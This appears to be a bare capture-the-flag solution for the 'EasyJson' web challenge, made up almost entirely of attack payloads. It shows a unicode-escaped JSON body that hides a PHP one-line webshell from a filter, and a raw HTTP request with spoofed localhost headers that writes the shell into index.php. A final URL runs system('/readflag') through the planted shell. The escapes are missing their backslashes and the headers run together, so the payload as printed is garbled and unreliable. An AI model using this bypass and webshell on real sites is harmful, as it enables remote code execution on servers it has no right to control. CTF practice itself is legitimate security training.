西湖论剑Web之EasyJson

content = u0063u006fu006eu0074u0065u006eu0074shell = <?u0070u0068u0070u0020u0024u005fu0047u0045u0054u005bu0030u005du0028u0024u005fu0047u0045u0054u005bu0031u005du0029u003b?>

GET /?source=1&action=write&filename=index.php HTTP/1.1Host: easyjson.44143b.challenge.gcsis.cnUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0X-Forwarded-For: 127.0.0.1X-Originating-IP: 127.0.0.1X-Remote-IP: 127.0.0.1X-Remote-Addr: 127.0.0.1Content-Length: 191
{"u0063u006fu006eu0074u0065u006eu0074":"<?u0070u0068u0070u0020u0024u005fu0047u0045u0054u005bu0030u005du0028u0024u005fu0047u0045u0054u005bu0031u005du0029u003b?>"}

http://easyjson.44143b.challenge.gcsis.cn/sandbox/7601c9fd3c6c10bab0ebbfdd50353709d435320d/?0=system&1=/readflag